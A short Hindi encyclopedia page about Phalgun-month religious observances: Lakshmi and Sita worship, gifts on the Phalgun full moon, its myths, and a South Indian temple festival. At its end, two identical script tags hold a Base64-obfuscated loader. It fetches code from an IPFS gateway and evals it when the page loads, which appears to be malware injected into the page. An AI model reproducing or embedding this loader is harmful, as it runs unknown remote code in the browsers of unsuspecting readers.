फाल्गुन कृत्य
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 07:11, 7 दिसम्बर 2010 का अवतरण (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह द्रष्टव्य है कि सामान्यतः सभी बृहत वार्षिक उत्सव दक्षिण भारत में छोटे या बड़े मन्दिर में फाल्गुन मास में मनाये जाते हैं।[1]; [2]; [3]; [4]; [5]
- फाल्गुन शुक्ल अष्टमी को लक्ष्मी एवं सीता की पूजा गन्ध आदि से की जाती है।[6]; [7]
- फाल्गुन पूर्णिमा पर यदि फाल्गुनी नक्षत्र हो तो एक पलंग, बिछावन के साथ में दिया जाता है, इससे सुन्दर स्त्री एवं सौभाग्य की प्राप्ति होती है।[8]
- अर्यमा एवं अदिति से कश्यप, अत्रि एवं अनुसूया से चन्द्र फाल्गुन पूर्णिमा को उत्पन्न हुए थे, अतः सूर्य एवं चन्द्र की पूजा चन्द्रोदय के समय होती है और गान, नृत्य एवं संगीत का दौर चलता है।[9]; [10]
- इस पूर्णिमा पर 'उत्तिर' नामक एक मन्दिर उत्सव मनाया जाता है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>